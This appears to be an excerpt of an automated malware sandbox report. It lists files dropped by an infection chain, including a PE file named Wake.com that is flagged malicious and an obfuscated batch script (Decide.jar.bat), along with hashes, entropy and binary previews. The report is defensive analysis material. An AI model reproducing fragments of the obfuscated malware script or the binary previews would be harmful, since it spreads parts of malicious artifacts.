Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/A7C8757F0853A0F51CF9667DFE565BA2",.. "id": "A7C8757F0853A0F51CF9667DFE565BA2",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/A7C8757F0853A0F51CF9667DFE565BA2"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/0379D17B8382F394D1FF347022FF5A08",.. "id": "0379D17B8382F394D1FF347022FF5A08",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/0379D17B8382F394D1FF347022FF5A08"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Temp\160d55eb-b875-4baa-bce7-1ad6a7aa74d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\1dc71996-2a58-4cea-8a55-b499f3b2b156.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\282df252-882d-443d-bdd4-42801ba5a68b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\313cfca8-2db1-477e-9b2a-ee2c3ac7d654.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1430197
Entropy (8bit):	7.930836293796459
Encrypted:	false
SSDEEP:	24576:rhqsQ7h6iyzXX3HllMuIVQz8bVrcxO9o1D2kntemPwy/:wsQ72jXXll/IOQbFcgW0ktvIK
MD5:	C5F0445A3D63A6B967101631BD358438
SHA1:	92E55B0EC2E344B5A97ADB958A2E6F02CFDFCC1A
SHA-256:	80B31C9D27238C8BD39BAFCACD130E072D0B043F2C9B7C1BE1402DDE714D04B7
SHA-512:	92E96FBFC888AD8B9E8B49E86A7568C19B5A56B49087FDB07B71857BFDD7350CD0A53557C2DBD407EEE204D9DD01E3612E2E64C4B60D98D5DC696B12F6615103
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....bKGD............./IDATX..W}l.E..3..w.+..H.\|...D.%..M.Z5.I..&.Q....W.%.P..!.&.Q.."..0...H.Z.".....>Z....A.......m.....1..........{...A........<.-a.27j..... '.A.D...kVI.B..A...}..o:/...h<..E....M2r.0.PP<j.j..e]..>lh.(..?u.....KqB.7CP..8.D.a.$.%..??.iG.=+.~..2FH...\am;}...n......h~.H...........#KvW..w;.#.dc..1.JW.2...(...nu.Q0....,..H0..1)..[....^.P..r..;.`{.d........%...6.......@.."O.+"&zSym.,.Nn..L..pj.&K.Z.....yH=..R.P?.i..Td...Sb.%o.....w..R`.sOJIjQ.>...i.v....A.CD\|bfx....).o.g.....I....6...!....<.t\|"....PO<".:/+..>1.......R.o...@.../"y.",S.@...B..h...Z...P.>.......+...:z........7,:.....\|)C.p.H+`i..e).8...zA".$:Z.o.........j]].....K:.....ZI.. ....~..&........:]...w.md./zkT.Z..F........,."7\|.\|u..3....G.../7.oJ...*...7..~l......PY.HQ>..`$........2.{.....>( I,...h..I...N.y}=..VN.R.....IH..kp.V..\|Io.+k...Eb.ES>.E2......Z.._.I .q0..0.......F.&D.(D1.Q+.M...!z9.....#xV.p....nH....7....\t.w"`F...-

C:\Users\user\AppData\Local\Temp\714380\T

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	273723
Entropy (8bit):	7.999243667150374
Encrypted:	true
SSDEEP:	6144:HLPyokBA/X3/t30VZGmf068SkDDcS8IgSX02U:GopX3/t3OsxDDcvIE2U
MD5:	0CD24A64CBE479DE1CA8283C5CE9E733
SHA1:	DA22CDD32F7C9E02ED434E2886A113BB87DAE658
SHA-256:	22C0CC90AB7899923148A5EB3868204046043D414F9F7DBFDE5123CC6983C7EE
SHA-512:	9F904EC2DA58AB527AD1F1231757D5B2DB8E7B4C52878BBA86EC8A0B9D8FFEEF0C738229710628FE735C967F1AE22EA2217CFB634C258A173E1BD4A4FF5A0362
Malicious:	false
Preview:	.'@......{5.t.G....L.(u.t...P.<..$...~.(.`..-.Q-.....y..{...]..M.p#.4.:g#...5G.t.1....Gs<m...`.....,...g.q..4j..+..._...........F.G.Sc=.3..9...4...>S..9..#....vt<..z.q...>m...r.)....V.7.........P.m.h.....w.dWF.M..H...B\X..e...."5..z8HX....~.b./....+.....M!s:l5.........l...{ '+_M..j.+.V.K.HI...^..C..m(b7s.S.@..C.......7.Z#...d........z.Z.G.y.s.K=h\|..C.p...i6x@..>.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Ma......m@nD<....d....s..........x.C\X...........J...+....^.w.5............?r.Q..m;.....w.....;.&.......2..g2"~?]...%kC...p...G...................m.......m...kC.R......%x....}...q..U-...(....%....V..?p.he....,.. .o.UA..1.An....H.`>$O.ng.)........s+V.p...'\|.G...!.$..n.K...;E..<J.W.C3.lY....A8>..>..1...32...T8}..,...E......S..i=.#\In>3(..?..l...[I...kRa.....j.........m......^..x.5...x..2).U.j.....>.\|#.~.\........`............7.,L.="i.0 G..e.z'.z.x.C.+=._..J.]....-..Xm-........t.t T.....7..r..n!.

C:\Users\user\AppData\Local\Temp\714380\Wake.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: #Ud835#Udde6#Ud835#Uddd8#Ud835#Udde7#Ud835#Udde8#Ud835#Udde3.exe, Detection: malicious, Browse Filename: #Ud835#Udde6#Ud835#Uddf2#Ud835#Ude01#Ud835#Ude02#Ud835#Uddfd.exe, Detection: malicious, Browse Filename: #Ud835#Udde6#Ud835#Uddf2#Ud835#Ude01#Ud835#Ude02#Ud835#Uddfd.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: random.exe, Detection: malicious, Browse Filename: LatestLeave.exe, Detection: malicious, Browse Filename: LatestLeave.exe, Detection: malicious, Browse Filename: random.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\78335fdc-6841-47f0-a6d0-f351d1ff7d22.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\Acids

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	6.732987252144287
Encrypted:	false
SSDEEP:	1536:OEYrDWyu0uZo2+9BGmdATGODv7xvTphAiPChgZ2kOEt:SWy4ZNoGmROL7F1G7ho2kOS
MD5:	4A11941A8B60E80500E6D4D3DAA8CEA2
SHA1:	F7D683B4F2114CF4E8D63F105DAB2E9097846883
SHA-256:	9F8E2771A4FF4D1292DBD040928E60C4E2BD96464E8F21F711A76C6196DE1652
SHA-512:	D8BCF7593D92B89DC0D9088A6AAAC6A8E194FDED5E12987FAD75593FBBE18E7720A6D69F17BB42D60C3B8C7FE62488FBB56323EDE37BC8B647BD09EE814E0FB6
Malicious:	false
Preview:	.b.e. .u.s.e.d. .i.n.s.t.e.a.d... . .S.e.e. .t.h.e. .D.l.l.C.a.l.l.(.). .d.o.c.u.m.e.n.t.a.t.i.o.n. .f.o.r. .d.e.t.a.i.l.s. .o.n. .c.h.a.n.g.i.n.g. .t.h.e. .c.a.l.l.i.n.g. .c.o.n.v.e.n.t.i.o.n.....".E.n.d.W.i.t.h.". .m.i.s.s.i.n.g. .".W.i.t.h."...!.B.a.d.l.y. .f.o.r.m.a.t.t.e.d. .".F.u.n.c.". .s.t.a.t.e.m.e.n.t.....".W.i.t.h.". .m.i.s.s.i.n.g. .".E.n.d.W.i.t.h."...(.M.i.s.s.i.n.g. .r.i.g.h.t. .b.r.a.c.k.e.t. .'.).'. .i.n. .e.x.p.r.e.s.s.i.o.n.....M.i.s.s.i.n.g. .o.p.e.r.a.t.o.r. .i.n. .e.x.p.r.e.s.s.i.o.n...".U.n.b.a.l.a.n.c.e.d. .b.r.a.c.k.e.t.s. .i.n. .e.x.p.r.e.s.s.i.o.n.....E.r.r.o.r. .i.n. .e.x.p.r.e.s.s.i.o.n.....E.r.r.o.r. .p.a.r.s.i.n.g. .f.u.n.c.t.i.o.n. .c.a.l.l.......>.".S.e.l.e.c.t.". .s.t.a.t.e.m.e.n.t. .i.s. .m.i.s.s.i.n.g. .".E.n.d.S.e.l.e.c.t.". .o.r. .".C.a.s.e.". .s.t.a.t.e.m.e.n.t...+.".I.f.". .s.t.a.t.e.m.e.n.t.s. .m.u.s.t. .h.a.v.e. .a. .".T.h.e.n.". .k.e.y.w.o.r.d... .B.a.d.l.y. .f.o.r.m.a.t.e.d. .S.t.r.u.c.t. .s.t.a.t.e.m.e.n.t...".C.a.n.n.o.t. .a.s.s.i.g.n. .v.a

C:\Users\user\AppData\Local\Temp\Alien

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	4.843243090873736
Encrypted:	false
SSDEEP:	384:WrOa3HwwuBcozc/mwftIQXoSpu88888888888888888888888888888zv888888f:WSaAwuXc/mex/Sg
MD5:	E80885734F528D40101EC33FB6A1F269
SHA1:	A2C0DC7E5051715E6C553B17491853E5E2E8DA69
SHA-256:	842BA2BB13A927671198AA03DD096F29EE8AE2B6C3C152E7C48655868E46AE24
SHA-512:	76F7A5A8F23845C9C75BB762821D9841A5B55EB7B73EE5253F0080D3F2A8F0D4559DC221C519AA2037DE751F3C9A3FF27A44E0F0816DD7F3EA9AF8BBB114B4B9
Malicious:	false
Preview:	......./......./......./......./......./.......8.......8.......8.......8.......8.......8....... ....... ....... ....... ....... .......9.......9.......9.......9.......9.......9.......9.......9.......9.......&.......&.......&.......&.......&.......&.......&...........`...................................................................................................................(.......(.......(.......(.......-.......-.......2.......2.......................................3.......3.......................................................................%.......%.......%.......%.......%.......%.......%.......".......".......".......".......".......".......4.......'.......'.......'.......'.......'.......'...............................................Z.......Z.......Z.......Z.......Z.......Z.......Z...............=.......=.......=.......=.......=.......=.......K.......K.......K.......K.......\.......\.......\.......\.......E.......E.......E.......E.......E.......H.......H.......H.......H

C:\Users\user\AppData\Local\Temp\Assumes

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	7.6337496438081605
Encrypted:	false
SSDEEP:	96:bm4/TOL+Q3IuzfJFFy4EDzHy5Xz+ppo+zAbQ6YhbBwGKGP5h3g:a4/C+Q3ISVSWMZMQ3rw
MD5:	660487E66B95896B91890782F23F9F88
SHA1:	1350454121B373D9AFAC43A584DFD2F9B2B691FF
SHA-256:	48C0878DB50C947977E73F98186E7230897609C3911E14F68110E7419F87BCE4
SHA-512:	75FF522D01BED412F887A92D92AFE933D7E155E3E50BC27B6B78DA4F92ED2720657887600AEE306841858E165157831E57FF20EF90D078CD175A1A1B3AFE5708
Malicious:	false
Preview:	Sign0...180620000000Z..341210000000Z0[1.0...U....BE1.0...U....GlobalSign nv-sa110/..U...(GlobalSign Timestamping CA - SHA384 - G40.."0....H.............0...........0#....t..u._.GR.a:c\|9#ymt.1.t.....'b[...'.W..5.4....fm.(J.,..p.r....Z]v..D.\|A$....O.6A..-.xNC.......1..;nj........K.....&......L?][...e.E.T=.TS...n.T...1.;.z}..X.j.l.e..!..B.;.....F...=ze..V....X=...S.M[t.rK...7....Z.....?.O5...7.R.%4...g....Iz.....)....].C.t.p(..{.......o....mV....>$.g&..........{.g..X...A..U.n...L.K..B.o...6.d.......f...!....#....4D....Ig....Z..f.3...%.qn.].L`<.....r....B.M.&.w...W...a.&...M.d.E...?T..v..lj.."\....).K...7t...f.4s..}\|^..=....P.m.W.~.7.k...........)0..%0...U...........0...U.......0.......0...U.........i...WE93..@...e.0...U.#..0....l..............gS.0>..+........2000...+.....0.."http://ocsp2.globalsign.com/rootr606..U.../0-0+.).'.%http://crl.globalsign.com/root-r6.crl0G..U. .@0>0<..U. .0402..+........&https://www.globalsign.com/repository/0....H.............

C:\Users\user\AppData\Local\Temp\Cap

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	6.702021774793301
Encrypted:	false
SSDEEP:	1536:SI7P4Cxi8q0vQEcmFdni8yDGVFE5gOHu1CwCMIBZwW:B4CE0Imbi80PtCW
MD5:	CB5F79BAD95267E6B90E10E1F39BF482
SHA1:	CFC01B76F3731D46FA112AED86C361A67D7E87D7
SHA-256:	7F030E553F39847CF6308126C81EEAE7C5D2108C33D75890CB4CF3F75E1CC098
SHA-512:	79E2493F17B236E01C6BF36341D208ED74F0E2A1B1F993FEAF776B70B5342ABF318FC0CA187D25B42344D76E4B443842E98B02B2DCC1013EAB4BF576866CD4F3
Malicious:	false
Preview:	D$.f.(. AJ......f.......wH...t^......wlf..D$.f.(..@J.f.(..AJ.f.T.f.V......f.......t...HAJ.......Of....AJ...^.f...@AJ.......4f...0AJ...Y......./..................s:f.W...^........f..L$..T$......T$.....T$...$......D$.....f..T$.f..D$.f.~.f.s. f.~...........t.......d$.U.........$..~<$.........~\|$.f...f.(.f.T..AJ.f....BJ.........U...f./..BJ.snf./..BJ.......f.(.f.Y.f.(.f.Y.f.(-pBJ.f.Y.f.X-`BJ.f.Y.f.X-PBJ.f.Y.f.X-@BJ...Y.f.(.f......X...Y...\.f..\|$..D$..f./..BJ.......f.(.f.Y.f.(.f.Y.f.(-0BJ.f.Y.f.X- BJ.f.Y.f.X-.BJ.f.Y.f.X-.BJ.f.Y.f.X-.AJ.f.Y.f.X-.AJ.f.Y.f.X-.AJ.f.Y.f.X-.AJ...Y.f.(.f......X...Y...\.f..\|$..D$....~.f.W.f./..BJ.sO..~..BJ...~-.BJ...~...X.f.s.,f...f.~..@..~,.p.J...~...\...Y...X..BJ...^.f............~...~..BJ...^.f.....~..`.J...~$.h.J.f.(.f.Y.f.(.f.Y.f.(-pBJ.f.Y.f.X-`BJ.f.Y.f.X-PBJ.f.Y.f.X-@BJ...Y.f.(.f......X...Y...\...\...\.f.V.f..D$..D$..f./..BJ.u..D$..f./..BJ.s....BJ....BJ......$..$....D$.....BJ....BJ..D$....~...~..AJ.f.T.f...z..D$.......BJ....AJ...D$..........U.......

C:\Users\user\AppData\Local\Temp\Concert

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	6.662603734743078
Encrypted:	false
SSDEEP:	1536:SKu2IwNnPEBiqXv+G/UXT6TvY464qvI932eOypvcLSDOSpZ+Sh+I+FrbCH:SccBiqXvpgF4qv+32eOyKODOSpQSAG
MD5:	706B52C792CB8148843E67499C0B9EA0
SHA1:	6DF5B1FDE05398F42811295CBE432F5907B6757C
SHA-256:	26C2CA3FBE99B76613486077B4FDEBF496A14BE38AE9186C00A368B284F29478
SHA-512:	DD333A454A22963F993A02771651C63CADCBB4653AC9CE2C89221C5C9F29AC5CEF20155F0FA6EA239CC1267B73120B918EC3A2116515E3B723F2436D848D616B
Malicious:	false
Preview:	.........u... r#.. .. ..o...oN........O... ......u.......t....................u..t..............u.D$.^_........................tf..$......f.o.f.oN.f.oV f.o^0f...f..O.f..W f.._0f.of@f.onPf.ov`f.o~pf..g@f..oPf..w`f...p............Ju...t_.......t!........o...oN........O..v .. Ju...t0.....t..............u....t.....FGIu...$.....I..D$.^_..$...........+.+.Q.....t.....FGIu....t......v....Hu.Y...................u.2...e.....u..........U..}..u..\|........j.....Y..].....U..V.u.W.}......t..N...3.8.....F..N...3.8_^].z.................U....S.].VW.E...C..s.3...L.VP.E......u..E......u......E.....{..@.fu_.E.E..E.E.C....tn...I..M..G...G.......H..E..t...........M...x..H...M......u..t.. .E..........t.h..L.V............V.u..........E._^[..].E..8csm.u8.=..J..t/h..J...........t..5..J...j..u.....I...u.....E..M........E.9x.t.h..L.V........E.V.u..X..z....M.....I..B....U..QQS.].V.u.W...H..x..M...M....x<.u.k.......u....tE.]....I9X..].}..].;..].~....u..U.N.M...y.A;.w.;.w..E._^...X

C:\Users\user\AppData\Local\Temp\Continuously

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.657643117607059
Encrypted:	false
SSDEEP:	3072:wEMnVIPPBxT/sZydTmRxlHS3NxrHSBRtNPnj0e:rMVIPPL/sZ7HS3zcNPj0e
MD5:	66FCC86A459D9A66A7212D782E0E4000
SHA1:	E68DDAD313623F6CC816926839752FBBC918BBAB
SHA-256:	2CE189CC2A9EE9510CD2C8C45A14EDEB2A2865A34F52CD7D7A4B01019AFA69A6
SHA-512:	52DD3362C2CC02D59FADDA2D18EB4E8E5FD0EA39B3BA371940D509E2E805D2EA26AD296FAAF683E57B581FD6200C2E6E70257F1688AC4998EF1433E52A13FB67
Malicious:	false
Preview:	<..}.;}.}..F..<..\|..L..+.....NT......I.M.....E........R........E..$...E..E....].x.....}.....+K.....+K..}.E..u7.E.......f.;i.......{.....}.E...C..E..u..E.........].....H...y.....>.......E......E.\|3.u..VQ.M..............WG...E...H.M.A.E..M.;.M.~.U.;........}....}F...E...}.@P.u...V.u..u..o........../....E.9E........u.M..V.u..I...........F...E.<G.E...@..P.u.V.u..u...........t.......u.U.VQ................F...E...H.E..Q....A...............E..$...E..A.....]...s......M....E.........+K.....+K..U.E.....~....E......r...3...i....E.3...m..S..U.....E...C..E...u..E.........]..8....E.............%............E...P.....n.......l........n....E.;F\|...H.........E.......v...n.......!...............M.....w....E..M.U.A.M.;.~.......}....}E...}....M...7...;U.\|......E.;F\|................M.%....=....u%.E................M...@.%.................v...nu..Z...............M...tC.M.E...H.E..E.@.E.;E...t....%.......t.;.....v..Fh.............y\...}....A....E...}.@P.u...V.u..u...........

C:\Users\user\AppData\Local\Temp\Convicted

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	4.030373425799434
Encrypted:	false
SSDEEP:	768:FKAGWRqA60dTcR4qYnGfAHE9AUsFxyLtVSQsbZgar3R/OWelw:FKaj6iTcPAsAhxjgarB/5elw
MD5:	EDCF888527041842DD9551F688AAE010
SHA1:	35ADEE38A1BF0453CD74B7DBF3214E108774295A
SHA-256:	E8192EBDDE73F68A21D979F74D4E03E5176C4BF7638EB104CCAD6EB6F9CE0557
SHA-512:	0E109976625EFB276E13A30AAC865E7023B3401B9D7310127E328D966C6A943048FED66A3D9A75A3E26521B4F5AE49512B22A379A7B96DEBD83D76375367FD4E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Decide.jar

Download File

Process:	C:\Users\user\Desktop\jPKFh06jHI.exe
File Type:	ASCII text, with very long lines (1746), with CRLF line terminators
Category:	dropped
Size (bytes):	31945
Entropy (8bit):	5.102070171388372
Encrypted:	false
SSDEEP:	768:gRq4PTgiIJkgcn7heWhmi949P72UUmm+BZ:gRjWROFB62UUmB
MD5:	89C543FDCF5029E8A2699C214E9794C6
SHA1:	B5793956001C41AC3B997D46AA3CC8D486F632CB
SHA-256:	C6294C4B72D2F1EC0CE9C739618EFE8EE6C235BF027A13F896D102F35D1142E2
SHA-512:	CEEEBB20548F1F815420CDD02CCE919447974C6F57041228A2FA181FC0A340F2FD2A639E4C3F57F3996A987BD77DDAB34FB9997416721171DB2C39A731E1E3E3
Malicious:	false
Preview:	Set Exciting=T..EPhEDiscovered(Apr(..jqlQBucks(Fusion(Mysql(Operating(Trembl(Trans(Uni(License(..FPFOGroup(Pm(..tQJBCopyrighted(Lovely(Attendance(Meditation(Outlook(Harvest(Summaries(Whole(Raymond(..KwLdMonte(Designated(Tracy(..Set Sleeps=f..yEOperations(Singing(Census(Numbers(Excluded(Alto(Contract(Implied(Occasional(..UPhlGrade(Squirt(Than(Links(Playstation(Sorted(Marshall(Investor(Bedrooms(..hVsInterface(Trackback(Sw(English(Museum(..sDqTEmphasis(Medal(Specifications(Anal(..vTcCeramic(Trustee(Corporation(Mumbai(Tom(Blend(..arAustria(Builder(..YiYqPools(Emotions(Mobility(Slideshow(Spirit(..yzPublicly(Http(Maximize(..zmIsProof(Ecuador(Greensboro(Karaoke(Specification(..Set Referral=K..GpzLBob(Cholesterol(Lounge(Recovery(Neon(Tide(Lemon(..NVcaAnalyst(Poem(Housing(Guy(Seal(Resources(..obUNotebook(September(Citizen(By(Ripe(Shanghai(Struct(Nickname(Sie(..wXDLender(Agent(Sticks(..excWealth(Decreased(Sandra(Hired(Cove(Good(Opt(Because(..HhGSelection(Regular(..tXeMaps(Behavior(Abandoned(Read

C:\Users\user\AppData\Local\Temp\Decide.jar.bat

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1746), with CRLF line terminators
Category:	dropped
Size (bytes):	31945
Entropy (8bit):	5.102070171388372
Encrypted:	false
SSDEEP:	768:gRq4PTgiIJkgcn7heWhmi949P72UUmm+BZ:gRjWROFB62UUmB
MD5:	89C543FDCF5029E8A2699C214E9794C6
SHA1:	B5793956001C41AC3B997D46AA3CC8D486F632CB
SHA-256:	C6294C4B72D2F1EC0CE9C739618EFE8EE6C235BF027A13F896D102F35D1142E2
SHA-512:	CEEEBB20548F1F815420CDD02CCE919447974C6F57041228A2FA181FC0A340F2FD2A639E4C3F57F3996A987BD77DDAB34FB9997416721171DB2C39A731E1E3E3
Malicious:	false
